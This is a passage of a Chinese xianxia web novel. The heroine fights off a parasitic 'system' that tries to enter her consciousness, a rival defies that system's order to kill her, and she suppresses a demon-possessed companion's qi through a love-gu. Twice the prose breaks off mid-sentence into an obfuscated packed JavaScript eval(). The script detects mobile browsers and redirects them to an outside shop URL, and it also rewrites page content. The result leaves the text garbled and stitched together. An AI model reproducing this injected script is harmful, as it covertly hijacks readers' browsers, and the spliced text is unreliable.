它们的身体在发出一阵阵滋滋的黑烟后,如流沙般风化消失不见。 “我是真心想帮你啊。”系统悠悠地叹了一口气,语气哀婉:“若不是我出手得及时,你又要被害惨了。” 又是言灵。 一路走来,系统似乎在不断地已各种方式证明它非常地有用,并且很希望她去使用它除了万华之眼以外的其他所谓的功能,然后让它住入识海。 简直就像…… 在不断引诱她一样。 “赵姑娘,世道艰辛,不确定的坏事太多,人力能做到的事情总归是有限的。” “就像你明明拥有那么强的剑道天赋,却偏偏被人所牵连,恰好失去了参加这次剑道大会的资格,错过了在最好的年纪名扬天下的机会。难道你的内心就没有半分遗憾吗?” “你说你对秦倚白一见钟情。但他若是不喜欢你,你又当如何?想霸占你身体的妄鬼那么多,你真的要像这样靠自己闯过去?” “如果什么东西都要靠自己去争去抢的话,实在是太累了。但只要你愿意信任我,愿意和我做朋友,让我就那么偶尔地来你的识海中住上一住——” “之后便再也不会有人来碍着你的路。” “让我提前来帮助你,可以吗?” 在一个万物静止,视觉和行动都遭限制的空间内,听觉便变得格外敏锐。 浸透了言灵之术的话语以一种极其缓慢的速度一句一句落入耳中,即便赵轻遥已有了十脉天境,却还是陷入了那么一瞬间的恍惚。 指甲已经狠狠地陷入了肉中,指尖甚至能感受到鲜血的些微湿润之意,疼痛很快地就让她清醒了过来。 本来还想把这件事拖到秦倚白面前和他一起解决。但没想到这个系统居然这般耐不住,这么快就露出了它的真面目。 这股能让时间近乎停滞的力量,比它之前展现的所有东西都要强大。 颇有一种撕破脸皮的强迫之意。 这些突然冒出来的妄鬼是谁捣的鬼,简直想都不用想。 “我不想强迫你。但你母亲对我有恩,我是真的不愿看着你身陷险境,这都是在为你好。” 系统一边慢慢地说着,一边仔细地观察赵轻遥的表情。 它曾在无数名宿主的身上寄生过,但都不曾遇到过如此棘手的事情。 这个人简直油盐不进。 明明其他的一切都还在它的计划内,只要它能进入赵轻遥的识海,接下来主上交代的任务,便都好办了。 毕竟,没有一个人能逃得过欲望的诱惑。 但它千算万算也没有料到,赵轻遥居然不要这些送上门来的好处。甚至已经身陷险境了,还是对这些想要提供给她的帮助视若无睹。 这让系统觉得恼怒无比。 它虽明白自己只是主上的分身之一,但它自诩要比其他的那些分身要聪明百倍厉害百倍。 如不是这样,主上也不会给它取名为一号系统,更不会把这样重要的任务交给它。 为了这个任务,主上做了极大的牺牲,甚至不惜从另一个空间给它带来一个可以利用的倒霉蛋。 它绝不能让主上失望。 赵轻遥不愿配合,那就不要怪它了。 主上告诉过它另一个时空的许多信息。它清楚地记得,赵轻遥是只有九境的天脉。它先前也用言灵试探过了,不像是没有效果的样子。 现在,只要赵轻遥现在对它的话有一丝丝的松动,它就能从她的眉骨内趁虚而入。 只要有一丝丝…… “你是个什么杂碎?” 世界已经静止。令人胆寒的沉默中,少女轻声启唇: “表面上说着我可以尽情依靠你的力量,然后在我最关键的时候,捅我一刀吗?” 系统愕然看向赵轻遥。 她依旧被能让世界静止的那股力量困在原地,动也没动一下。唯有瞳色极清极黑,像一把淬了锋的刀,径直透露出些许锋利的光,冷冷向它瞧过来。 她不受言灵影响? 这怎么可能? “这场游戏结束,我也不想和你继续玩下去了。现在只给你两个选择,要么直接滚蛋,要么等着去死。”赵轻遥再次开口。 这系统说的话句句令人生气。 大概是因为前世忍耐的时间太久。重生后,她发现自己已越来越不愿忍耐这些莫名其妙的气。 既然系统的能力她已知晓了个大概,那就这样撕破脸皮好了。 她此生最是听不得一句“我是为你好”。 曾经,也有一个人对她说过极其相似的话。 “瞳瞳,真的别在这里犟下去了。惹怒了仙盟,对我们都不会有什么好处。你我之间毕竟是有婚约在的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后,她便听到了系统惊慌失措的叫喊声:“……你疯了?” 鲜血顺着她捂住伤口的手心滴滴滑落。她不用想,都知道自己如今满脸是血的模样有多可怕。 “怎么了?”她松开了手,语气随意地说道:“我刚刚不就通知了你,要不赶紧滚,要不等着死吗?” 剑刃出鞘,寒光乍现。 握住剑柄的手,早已沾满了她自己的鲜血。 赵轻遥偏了偏头,笑出了声:“看起来,你是选择后者了。” 她果然猜得没错。 这个系统和她之前所见的血雾只是长得很像的亲戚而已。血雾暴躁易怒,嗜血凶残;而这个系统巧言善变。除了单独赶走一只妄鬼那次,根本没独自展露出其他的攻击能力。 就话特别多。 若它真的像它的亲戚那般有实力,才不会和她多废话那么多。 它就是个彻彻底底的寄生虫。力量强大,但是难以独自使用。因需要一个使用力量的载体,所以反复要进入她的识海藏匿。 刚刚困住她的那个结界,最初的变化就是从万华之眼开始的。也就是说只要她的身上没有万华之眼,那它基本上啥也干不了。 * 系统也从未感受到如此的寒意。 对于它而言,附身于宿主的识海中是最安全的举措。除非它自己愿意出来,或是毁掉整个识海,不然谁也难以把它从中拔出来。 不同的分身有不同的特性。它作为系统,并没有拥有像有些分身一样野蛮到可怕的能力。甚至大部分的技能,都需要依靠宿主自己去实施。 它唯一的弱点,便是无法长久地脱离宿主而存在,所以必须在被宿主赶走前,进入他们的识海。 赵轻遥一直抗拒它进入识海。所以它退而求其次,选择短暂附在她的眉骨上。 在它看来,赵轻遥本就是个长得漂亮的女修。长得漂亮的人,多是格外爱惜自己的容貌的。 谁能想到她会毫无征兆地对着自己的脸开刀? 40.宿主 剑光如芒,撕破夜幕,隐有龙吟之势。 劲风携着明镜花香,将她的衣裙吹得烈烈作响。赵轻遥挽起剑花,轻盈地立于房檐之上,垂眸看向地上那道急速奔逃的红影。 系统离开她的身体后,刚刚如浪潮一般朝她扑来的妄鬼也一同消失不见。偶有几只,也是完全可以应对的程度。 如她所料,系统离开了宿主的身体后,原先强大的力量也尽数不可施展。在与她对抗之前,这条寄生虫首先得找到另一个宿主。 黎明珠。 眉骨上不间断传来的剧烈疼痛,倒让赵轻遥保持着前所未有的清醒。她轻轻念出这个熟悉又陌生的名字,神色晦暗不明。 黎明珠是太过天真被系统蒙骗,还是根本就是故意的? 连这个曾经让她反复陷入噩梦的身份都要冒领。 其实仔细想想,黎明珠也应该是有前世的记忆的。 这几日在试仙峰发生的事情太多,赵轻遥也并没有什么太多的机会紧盯着黎明珠的举动。 但就据她粗略观察而来,黎明珠在人前的一言一行,和她在前世璇云仙宗时期伪装的模样几乎一样。 正因为太像,反倒让赵轻遥觉得不对劲起来。 世上不会有两片完全一样的叶子,人与人生而不同。即便是面对同一件事情,处理方式也未必完全一样。 如若这个“黎明珠”并未重生,只是按照系统的描述将自己原本的行为伪装了一下。那她再怎么演戏,都是会和赵轻遥版本的黎明珠有差异的。 不至于一模一样。 除非……她本身就是重生的。 并且她在重生前,就已经默默观察了赵轻遥作为黎明珠时的一举一动很多年。所以如今做起黎明珠来,才分外地得心应手。 如果没有猜错的话,这个人前世也应该是个璇云仙宗弟子。 这就有点麻烦了。 这种敌在明我在暗的感觉让赵轻遥很是头疼。她已隐隐感觉到,这场诡异的重生并不是什么运气使然或者上天怜悯。 重生一次,她本以为是上苍给她的一次重新保护母亲和赵家的机会。可如今看来,带有前世记忆的人绝对不止那么一两个人。 每个人重生回来的方式,还有可能不一样。 谁知道里面有没有想要来害她的? 更何况,正如秦倚白所说,他们俩的记忆是有残缺的。 这更是一个致命的缺陷。 他若是记忆没丢,自然也不会多番设计,逼着赵轻遥来与他合作。 嘴上说着什么情情爱爱的,什么前世喜欢过她会帮助她,只不过是现在记忆还没恢复完全罢了。 从回忆幻境中出来后,赵轻遥便总是怀疑秦倚白前世入魔之事和她有着千丝万缕的瓜葛。 若事实真是如此,等他们俩全都想起来了,还不是只能做敌人。 想到和秦倚白之间的种种事,赵轻遥便觉得有些心烦。 她摇了摇头,将这些思虑抛到了脑后。随后捏紧了手中的剑柄,紧紧跟上了系统那道逃得飞快的红影。 先把这个解决了再说。 系统移动的速度很快,但却也不像是知道黎明珠到底在哪里的样子。盲目地东拐西拐许久,像极了一只到处乱飞的苍蝇。 滔天的剑意紧随其后,惹得晚间的风一同逆转了方向。风中翻滚着凌冽的杀气,从四面八方涌来,径直向着系统扑去。 系统不得不及时停下了脚步,才险险避免了被剑风搅成碎片。剑风猛地落于屋舍外的红墙之上,留下一道近乎切断半边墙体的狠厉剑痕。 它正欲向后退去,却猛然发现—— 另外三道剑风已在第一道剑风落下时,悄无声息地围堵了过来,将它牢牢地困在了其中。 都是什么时候来的? 这真的只是一个连年龄都没到剑道大会门槛的少女能拥有的实力吗? 系统从被创造出来到现在,于世间已存活了几千年。这几千年间,它辗转于各个宿主的体内,借助他们的身体,施展自己的力量。 那些宿主们,谁不是高高兴兴恭恭敬敬地让它住进识海的?只要被它寄宿进识海一次,之后那副身躯,就会慢慢地落入它的掌控之中。 它从未失手过,更从未有过如此憋屈的时刻。 赵、轻、遥! 它第一次对一个宿主,产生了如此强烈的恨意。 宿主不都应该是猎物吗?猎物凭什么可以反抗? 它一定要想一个其他的办法,完成主人的任务后,再杀了她! 系统毫不犹豫地转身寻找新的路,却眼睁睁地看着,满脸是血的少女从墙的背后慢悠悠地走了出来。 她眉骨上的伤还在出血,原本漂亮的一张脸上挂满了半干未干的血迹,在黑夜中格外可怖。一双眉眼锐利如锋,形似从刀山血海中爬出来的修罗。 “刚刚不是挺嚣张地说什么要住进我的识海我也拦不住之类的话吗?现在又要跑到哪里去啊?”少女唇边挂着笑,懒懒开口。 “我就很好奇。你离开了宿主后就这么点本事,是怎么敢把主意打到我头上的?” “你杀不了我的!”系统尖锐地叫喊出声。 赵轻遥若有所思地点了点头,说得慢条斯理: “是啊,我当然杀不了你,你们这个族群不都是刀剑不伤的不死之身吗?不好好处理的话,即便看上去是死了,不知道哪天就又活了。” “所以我不是让你等着死嘛。我没办法,不代表其他人没有办法杀掉你。” 她本来的打算,也是把系统拖去给秦倚白吞噬掉。 只不过现在撕破脸皮了,想要把它带过去,就得像在第八峰那样,先把这东西给砍晕过去。 “你在做什么梦?”系统狞笑道。 说时迟那时快,妄鬼涌来时咕噜咕噜的声响,又重新出现在了赵轻遥的脚边。无数只妄鬼从环绕在她周身的地面下跳出,狠狠地朝她扑来。 攻击她的速度很快。 但她的剑更快一筹。 带着寒光的剑气以一股势不可挡的姿态冲出了妄鬼所包裹的重围,血红色的雾气被瞬间斩成了两半。剑身上挂着的用于收服妖兽的锁妖珠光芒大现,将其中一半的雾气收入了其中。 只能收一半?这不应该呀? 赵轻遥不禁蹙起了眉头。 更多的妄鬼朝她扑来,眼前的视线也遭受到了阻碍。逢春剑飞回,重新落入她的手中,打散了妄鬼所环绕的重围。 等她再看到了外部的景象时,眉头不由得蹙得更紧了。 另一半系统凭空消失了。 “你背后,背后又有东西冒出来了!”她刚一走神,便听到了海玉在识海中的大喊声。 妄鬼太多,防不胜防。 赵轻遥已经做好了被咬的准备了,但想象中被妄鬼咬中的痛感并未到来。 时间仿佛在此刻凝固。 所有妄鬼的动作都凝滞在了半空中,随后又都缓缓沉入了地下消失不见。 “你、你没事吧?”是一个非常熟悉的声音。 赵轻遥回过头,与来人四目相对,却只听见了一声颤抖的问候。 “你是……轻遥姐姐?” 黎明珠手中正拿着青羽笛站在转角处,抖若筛糠。 她似是刚从远方跑来,本就已跑得气喘吁吁。但在看清赵轻遥脸的一瞬间,神色变得惊恐无比,险些连呼吸都凝滞了。 赵轻遥没有说话,只是上下打量着黎明珠。 她的右臂上还挂着血渍,经历了一晚上莫名其妙的混乱,本该洁白的内门弟子服饰也染上了不少的污泥。 与白日里看到的温柔甜美小师妹的模样,简直判若两人。 毕竟恐惧是难以伪装的。 恐惧之下,人往往会暴露出自己的真面目。 她盯着黎明珠看,试图从她的面皮之下挖出来一些其他的东西。譬如瞬间闪过的阴险神情、譬如一丝丝得意的眼神。 但都没有。 她就是单纯的害怕和迷茫! 赵轻遥感受到了一瞬间的震惊。 差点被妄鬼咬的人是她,黎明珠分明救了她,却还在害怕些什么?被她的脸吓得吗? 她当然知道自己如今的模样不好看,但也不至于难看到别人见她就跟见鬼一样吧? 两人对视的长久沉默中,赵轻遥迟疑开口: “璇云仙宗什么时候,开始培养魂修了?” 这是她们在进入试仙峰以来,第一次除了打招呼以外的对话。 * 她得去找到赵轻遥。 这是黎欢从秦倚白的身边逃走后,唯一的想法。 秦倚白那副被魔气环绕的模样太过于可怕。她真的毫不犹豫地以为,自己会死在他的手上。 但是没有。 明镜花的花香气最是浓郁时,他整个人陷入了那么一瞬间的恍惚,突然从那股魔怔般的疯狂中缓了下来。黎欢几乎是抓住了这个唯一的机会,头也不回地跑掉了。 她怕死。 喜欢师兄归喜欢师兄,但总不能为了提高他的好感度,把自己的小命给搭进去。 跑归跑了。但系统已经不在她的身边,到处都是突然蹦出来的妄鬼,她着实害怕。 黎欢畏畏缩缩地躲了一段路,不敢出头。直到被几只妄鬼追杀了一路后,她才突然意识到一点—— 自己似乎有能压制住妄鬼的能力。 这种能力像一颗正在她的体内生根发芽的种子。非常得微弱,但她却能感受到这股能力的存在。 她什么时候拥有这份能力的?这是曾经的黎明珠也曾拥有过的力量吗? 黎欢将传送符紧紧地攥在手心,不安地看着下方小小的“遥”字。 她心中知道用了传送符,便可以直接到达避难处。 但她却始终不肯用。 感觉只要用了,就像是失去 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这是前世那个平凡的黎欢自己的答案。 她可以内心阴暗,没事就去羡慕嫉妒别人;她可以心思敏感,有想攀至高处的野心却始终拿不出相应的实力;她可以缺乏改变的勇气,南墙都撞破了还誓死都不换另一条路。 但她不可以是一个心狠手辣的人。 她这次真的做错事情了。 系统既已不在,她就偷偷帮赵轻遥一次好了。系统要求她去杀赵轻遥的事情,就下次再说。 就一次。 想明白了这些事情,黎欢便立即出发了。 她一路上控制下了许多妄鬼,对于体内力量的掌握也逐渐熟练了起来。 比修阵法和修术法让她舒服很多。 说是要找赵轻遥,但她并不知道赵轻遥人在哪里,直到听到了远方来的打斗声。 黎欢近乎是用尽全身的力量跑了过去,却又在迈过拐角的瞬间,突然感到了不对的地方。 系统回到了她的身体中。 “杀、杀了赵轻遥!你……去……杀了她!” 往日里在她脑中指点江山、格外冷静的系统,突然变得无比狂躁而痛苦了起来。万华之眼的景象亮了又灭,最终竟变成了哗啦啦响的一片模糊画面。 她的识海猛地开始疼痛了起来。 系统像是在里面扎下了一把树根。那种痛苦的感觉沿着她的经脉骨髓,流遍全身。 “杀了她!杀了她!” 疼痛和恐惧让她忍不住浑身颤抖,身躯已近乎无法自己控制。 在对着赵轻遥打出那股体内的力量前,她最后一个想法是: 黎欢不要做随意伤害他人的人。 她做了很久的黎明珠,但在这一刻,她突然想起了自己原本是黎欢。 系统的声音瞬间寂静,身躯在那一刻夺回了掌控权。 赵轻遥周身的妄鬼都沉入地底时,黎欢看到她满脸是血地警惕回头,看向自己的目光很是困惑不解。 “……轻遥姐姐。”她颤抖地喊出了赵轻遥的名字。 她违抗了系统的命令。 * “我用的是阴阳魂修的招数?” 良久,赵轻遥才听到黎明珠疑惑地开口。 妄鬼不过是被魔气污染得厉害的魂灵罢了。能直接把攻击他人的妄鬼压回地下,这难道不是洞察生死、以意念操纵他人魂灵的阴阳魂修才能做到的事情吗? 她是在装傻,还是真的不知道魂修是什么? 赵轻遥拿捏不清黎明珠的用意,一时有些不知该说点什么好。 “……不管怎么说,还是谢谢你。”斟酌了片刻,她这样回答道。 说罢,她便在内心暗自叹了一口气。 她突然就想明白了。如果没有猜错的话,被砍掉的另一半系统,应该又躲到黎明珠身体里了。 这下是真的很麻烦了。 黎明珠没有说什么更多的话,只是身体依旧在抖个不停,估计是系统突然入侵识海的感觉,并不好受。 赵轻遥抬脚欲走,却又很快地折了回来。 “别在这里逗留了,先用传送符去比试场那边吧。” 虽不知这个黎明珠到底是前世的谁,是敌是友,但她毕竟才救了自己。 想到破系统那个模样,赵轻遥竟不觉对她生出几分同情来。 黎明珠的眼神扑闪了几下,却又避开了她的视线,终于说出了一句话: “你受伤得很严重。所以、所以……” 她越说越小声,到了最后,竟似蚊鸣般令人难以听清。 “所以什么?”赵轻遥有些不太理解。 “我先帮你清理一下脸上的伤口,再说别的吧。” 黎明珠像是鼓足了勇气,突然大声地喊出了声。 41.情蛊(一) “这人真的是奇怪。” 传送符的紫光闪了又熄,黎明珠的身影已彻底消失不见。见到此情此景,海玉方才冷哼一声,漠然说道。 赵轻遥正在以剑身为镜,仔细打量反光处自己的脸庞:“你觉得她哪里奇怪了?” 黎明珠给她处理伤口的时候格外紧张,整个手都在抖个不停,似是十分怕她。 但即便如此,还是成功将那道狰狞的伤口止住了血。又颤颤巍巍地变出一块沾着栀子花香的帕子,将她脸上乱七八糟的血迹都擦了个干净。 赵轻遥不太喜欢与陌生人过多的肢体接触。更何况,这还是一个敌友未知、冒领了她前世身份的人。 但黎明珠给她的感觉很是微妙。 她当时站在赵轻遥的身侧,贴得很近。赵轻遥只需一抬眼,便能看到一张和她前世在璇云仙宗时一模一样的脸庞,只是眼睛有些不太一样罢了。 她的眼神太过迷茫、恐惧和后怕。与黎明珠的双眼对视上那一瞬,赵轻遥竟陷入了一阵恍惚。 她出了一种奇怪的错觉,仿佛看到的不是这个冒牌货,而是曾经那个在璇云仙宗苦苦挣扎的自己在与现在的她对视。 “我之前虽没机会说话,但看得却真切得很。若不是因为她和那个狗屁系统,哪里会有这么多妄鬼跑出来。不知害死了多少人,现在装好人又装熟练起来了。” 海玉的声音很是愤愤:“秦家内部这样的人多得是,我见过得可不少。” “系统的另一半已经逃到了她的体内。先把这边的事情解决好,我之后会找机会继续留意她的。”赵轻遥说道。 璇云仙宗。 诸何还未被她取走的性命、黎明珠身上的系统和谜团、要替云渺渺完成的东西……都在那里。 她今世必须得想办法以赵轻遥的身份回去一趟。 但若是那样的话…… 她不又成了秦倚白的师妹了? 想到秦倚白,赵轻遥胸口那股从出了回忆幻境后就一直不顺畅的气便涌了上来。 就算知道他和秦家的其他人应该分开看待,知道他身世悲惨、有一堆迫不得已的苦衷,知道自己前世很有可能为复仇之事把他利用得很惨—— 可她还是一想到他就来气。 “话说起来,我记得之前那个狗屁系统和你说过,这个人也喜欢我那便宜弟弟。”赵轻遥闷着头向前走了几步,突然听到海玉这样说道。 “对啊,”赵轻遥脚步都未曾停顿一下,没好气地开口:“他人前那么能装,身后又拉着你们秦家的大旗,没人喜欢他才不正常。” 直至秦倚白堕入魔道之前,都有很多人喜欢他。 这也是赵轻遥讨厌他的原因之一。 她十五岁夺得剑道魁首后,性格便变得越发张扬肆意,早已习惯了全世界的目光都聚焦在她身上的那种感觉。 但进入璇云仙宗后,她便被迫装作乖巧懂事的黎明珠。装得很成功,吸引来了不少在意她的人。 但欣赏倾慕的目光和怜惜心疼的眼神,终究是两码子事。 赞赏一个人和可怜一个人,本身就不一样。 赵轻遥早就习惯了前者。所以接受后者对她来说,本身就是一件痛苦的事情。 可她只能忍耐。 好巧不巧,秦倚白偏偏在她最痛苦的时候冒了出来。带着一身招摇的名衔过市,夺了她的剑道魁首,出尽风头。 落在他身上的目光数不胜数。但里面至少有一部分,是属于赵轻遥的东西。 怎能让她不讨厌? 所以当她恢复那段曾经拖着天脉残缺的身体强行和秦倚白比剑的记忆时,也不觉得有多奇怪。 她了解自己,当她嫉妒愤怒到失去理智时,自然也就装不下去了。 秦倚白总是让她轻易地破功。 “随口一问罢了,但你好像根本不在意。”海玉懒洋洋地说道:“既然如此,那你待会操纵情蛊来压制他体内魔气的时候,可得小心一些。” 赵轻遥脚步一顿。 她当然知道海玉想说什么。 在利用系统查询情蛊的用法时,她心里便已想好了相应的对策,也做好了最坏的打算。 两个人的身体内同时有情蛊,那他们便可互通体内的天脉与灵气;若是只有一个人的身体内有情蛊,那互通之事便变成了单向的索取与控制。 情蛊的“情”之一字便在于,将自己的身家性命托付给了与自己两心相悦之人。 但人是会变心的。 当变心之人对原来的爱人已毫无感情之时,若还想要操纵原来爱人体内的情蛊获取力量,就非常有可能遭到来自情蛊的反噬。 她和秦倚白之前,前世曾有过什么被遗忘的记忆还是感情暂且不说。主要是她现在,实在是—— 对他无甚想法。 一点都没有。 她觉得自己不讨厌他讨厌得想死,就已经算不错了。 自重生后,赵轻遥自认为对于情绪的管理,已经比前世这个时候的自己不知强出了多少。但这几天经历的事情,属实是一件比一件超出了她的想象。 本以为交到了新朋友,定眼一看是和自己一样重生的死对头; 本以为和死对头再也不用有什么瓜葛,又被骗来告知自己丢了上辈子的记忆,还和他两情相悦过; 然后现在又要跑去操纵他体内的情蛊。 一桩桩一件件的,都叫什么事啊? 她甚至觉得,自己至今没有崩溃没有精神失常没有道心破碎,已经算很不错的了。 海玉见自己的话迟迟无人应答,语气也不由得变得严肃了起来: “记得,操纵情蛊不是闹着玩的,你用的时候装也好歹给我装一下。你要是让他体内的情蛊察觉到,你对他没有一丝丝的情感,反噬便会很大。” “我可不想又变成像这些妄鬼一样的东西。你们俩要是都出了事,那就都玩完了。” “我不会的。”赵轻遥转过眼眸,试图压下心中纷乱的情绪。 希望不要走到那一步才好。 * 虽然已经做好了心理准备,但当赵轻遥赶到秦倚白的面前时,眼前的状况还是超乎了她的想象。 她远远地看到秦倚白时,并没有感受到过于强烈的魔气,甚至一度还以为情况并没有那么严重。 直到她走到了他的身侧。 狂杂而纷乱的魔气霎时涌来,明镜花的花香浓烈到窒息。周身阻挡着魔气溢出的结界微微发亮,隐有破裂之兆。 少年紧闭着双眼,斜倚于一片废墟残垣旁。感知到了有人来,撩起眼皮看向赵轻遥这个来客。 源源不断的魔气还在从外界不断流入,汇入他的经脉,又很快流出。 他的神情十分平静淡漠,眸色却异常混沌。浓密鸦黑的睫羽轻轻颤动着,原本清明的双目已被魔气染得赤红一片,深渊之下,隐隐透露出一股掩盖不住的癫狂杀意。 魔气在他的周身疯狂翻涌着,拂起他高束的长发,也吹起了他染满了干涸血迹的衣摆。 破碎的明镜花瓣沾到了他的如同神铸般的脸上,像一滴玷污了神像的血渍。倒显得肤色更白、发色更黑、眸色更红。 “秦倚白?”赵轻遥缓步靠近,试探性地出声:“你怎么样?” 没有任何回应。 他依旧保持着原来的姿势,直直地看着赵轻遥,没有任何一丝表情的松动。 连眼神甚至没有转动一下。 赵轻遥只觉得心中有点发怵。 杀郑玄的时候,这人虽在发疯,但好歹也能说几句话。怎么现在连句话都说不出来了? 该怎么办。 她站在他的面前犹疑片刻,决意先尝试着去操纵一下情蛊。 先试一下再说。 她伸手捉住了秦倚白手腕。 他的体温很凉,倒显得赵轻遥的手烫得吓人。被她握住手腕的那一瞬间,秦倚白整个人的神色竟突然有了震颤般的变化。 仅存的平静消失,极致的冷漠和癫狂沿着精雕细琢般的面庞寸寸攀爬,直至原本的面具崩裂。 抑制不住的杀意从眼中流出,他看向她的目光,就像是在看一个将死之人。 “你不用紧张,我……”她尝试着再次开口,下一刻,识海中却传来海玉惊慌失措的叫喊声。 “你快别靠近他!这小子已经走火入魔到失去神志了!他刚刚才用禁术将秦家内的所有魔气都聚到了他身上!” 一路走来,除了被系统暗算的时候,赵轻遥遇到的妄鬼数量的确是在一路减少的。 妄鬼亦算是妖兽的一种。周围环境内的魔气减少后,会停止过于活跃的行动。 是因为这样的吗? 赵轻遥心中一惊,试图松手向后撤一步,但已经为时已晚了。 她没有防备,甚至没来得及拔出逢春剑,就已被秦倚白死死地反手扣住了右手。如浆糊般粘稠窒息的魔气压下,与她周身瞬间迸发出的锐利剑意猛烈纠缠到了一起。 谁也不让谁。 她躲避开他想掐住她脖颈的另一只手,试图将手肘抵在他的颈部,却也被他躲开。 两人扭打到一起,一同跌进了废墟之中。满地深红的明镜花瓣骤然溅起,又很快飘落,瞬间将两人的身躯淹没。 秦倚白的力气大的惊人,眼中红意更盛,竟是毫不避讳地试图将赵轻遥压在地面上。 赵轻遥的右手拔不出剑,更无法布阵施诀,便以天脉爆发出的灵气困住秦倚白周身的魔气,以此对抗魔修可怕的蛮力。 彼此相控,谁也没又多余的手去招呼自己的刀剑法宝。 修士之所以为修士,便正是因为打斗时用的都是各种术法宝物。像这样滚到一起打架的情况,上一次发生时,还是赵轻遥连逢春剑都拿不起的时候。 她心烦无比,感觉黎明珠才给自己处理好的眉骨的伤口又要裂开了。 “你真是找死。” 两人相互牵制着,从废墟的一侧滚到了另一侧。秦倚白借翻滚之机,短暂占领了高处,撑在她的身侧,居高临下地看着她。 他高高束起的马尾垂落在她的耳侧。明黄色发带的尾稍,与她有些松散凌乱的长辫混在一起。 少年的声音平静,字里行间却像是萃了冰,透露出的冰寒彻骨的戾气和杀意: “一个也是这样,两个也是这样。你又算个什么东西,也敢冒充她的模样来骗我?” 她冒充谁了? 她这辈子又不当黎明珠了,这不是赵轻遥她自己原原本本的脸吗? 她就不该同情他,更不该试图来给他压体内的魔气!就该让他被秦氏本家抓回去。随便换一个秦倚白都行,反正谁都比这个狼心狗肺的东西要好! “秦倚白!”赵轻遥简直要被气炸了,直接大喊出他的名字:“你睁大你的狗眼看看你祖宗我是谁?” 她说罢,便伸手狠狠地拽了一把落在她辫子上的那束发带。 当然也不忘连着拽了一把头发。 少年短暂地皱了一下眉。 本还算规整的长发瞬间散落开来,沿着他的肩头滑落。被风扬起一瞬,又轻柔垂下,落回了她的耳侧,形成了一个静谧的空间。 在那极其短暂的一瞬间中,她与他四目相对。 赵轻遥亲眼看到,秦倚白的神色中分明闪过了一丝动摇。 好机会! 她左手拉着发带的一段,被禁锢的右手挣脱开来,拉住了发带的另一端,直接从他的后颈处套上了他的脖颈,再用力向下一拉。 秦倚白被脖颈上这蓄满了足够力量的一拉拉得向下跌去。赵轻遥她眼疾手快地松开了手,侧身一滚,避免了被他压在身下的悲剧。 她直接翻身而起,在秦倚白刚欲起身之时,径直跨坐到了习剑之人精瘦有力的腰身上。 逢春剑光一凛,嚓一声插入了秦倚白耳侧的地面中。 他漆黑的长发本散落一地,却这样硬生生地被剑光削掉了一束。 他本来还欲翻身将她摁下的动作瞬间停滞,看向她的目光中也多了一分疑惑。 眼中的魔气似乎又消退了一分。 “我管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495704|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吸了多少魔气。再敢乱动一下,这把剑就会把你的眼睛挖出来。”赵轻遥冷着声说。 一番动作下来,她已满头细汗,眉骨处一股温热的血流缓缓而下,她却不觉得痛。在极端的亢奋下,她的心极速地跳跃着,浑身都不可控制地颤抖了起来。 她将自己的血涂抹到指尖,重新握住了他的手腕。 海玉突然开口:“你等一下,你这看上去分明是要杀人灭口,哪里有半分喜欢他的样子?情蛊不是那么好骗的,你还……” “闭嘴!”赵轻遥厉声回应。 识海中的声音瞬间消失不见。 大约是顾及那把差点插到他脑袋中的逢春,秦倚白没有再挣扎,只是仰头看着她。 目光沉沉,退去了些许被魔气染上的癫狂神色,也不知道究竟在想些什么。 赵轻遥想稳住自己的呼吸,却发现自己颤抖而急促的呼吸实在紊乱到无法控制,反倒是不由得并紧了自己夹在他腰间的双腿。 然后她便鬼使神差地俯下身去,蛮横地拽住了他的衣领,紧紧地贴住了他的双唇。 秦倚白的身上总是很凉。 在第八峰,他为了杀狐妖走火入魔时,手便凉得可怕;在回忆幻境中,他救下她给她喂血时,呼吸之间也似带着料峭春日的寒风。 如今分明是初夏,夜间的风都有那么些许暖意的时候,他的手腕却还是凉的。 但这样的人,为什么唇会是烫的呢? 至少比她的还要烫。 赵轻遥想不明白。 她不敢闭眼,也不敢乱动,就那样眨着眼与他对视。脑子中所有的思绪都已被扯成了一团乱麻,她觉得自己仅存的理智像是一片漂浮在半空中的云,一阵风吹来,便被吹得七零八落。 秦倚白体内的情蛊已嗅到了赵轻遥鲜血的气息,沿着他跳动的脉搏一跃而上,亲昵地和她打着招呼。 赵轻遥的手指已抚摸到了那只跳跃的小虫子。 随后,她的识海中,便猝不及防地开出了另外一道门。 她的神识没有去开门,只是静静地悬浮于门前,就已经能感受到从门缝中涌来的澎湃魔息。魔气的气息灼热滚烫,疯狂地想要通过识海涌入她的天脉。 “你有点过分了。”她的神识简直要被气笑了。 秦倚白当他现在还是上辈子那个的天问崖魔主吗?本就因为妄鬼的事情心绪不稳有点走火入魔了,还敢硬生生吸呐这么多的魔气,生怕别人现在发现不了他是个魔修。 排山倒海般的灵气一阵又一阵地从她的天脉内抽出,朝门处打去。时间像是过了一瞬,又像是过了很久。 直到门内躁动不安的魔息终于平定了下来,身体周身浓郁的魔气也有所变淡时,赵轻遥才缓慢地松开了他的手腕。 门消失了。 情蛊的子母蛊应该是配套的。她手上没有对应的母蛊,自然也不能远程操控秦倚白体内的子蛊。所以她一旦放开他的手腕,便代表着这场操控结束了。 她从他的唇上移开时,已满头是汗。 秦倚白眼底还残留着些许的红色,但已褪去了杀气,逐步恢复了清明的色彩。 赵轻遥只匆匆瞥了一眼,便没有再看他。她站起身来,寻了一处离他远一些的墙角,缓缓地坐了下来。 天脉方才送灵气又用得狠了些,如今浑身上下都只觉得疲惫不已。她将头搭在膝盖处,闭上了双眼,又猛地睁开。 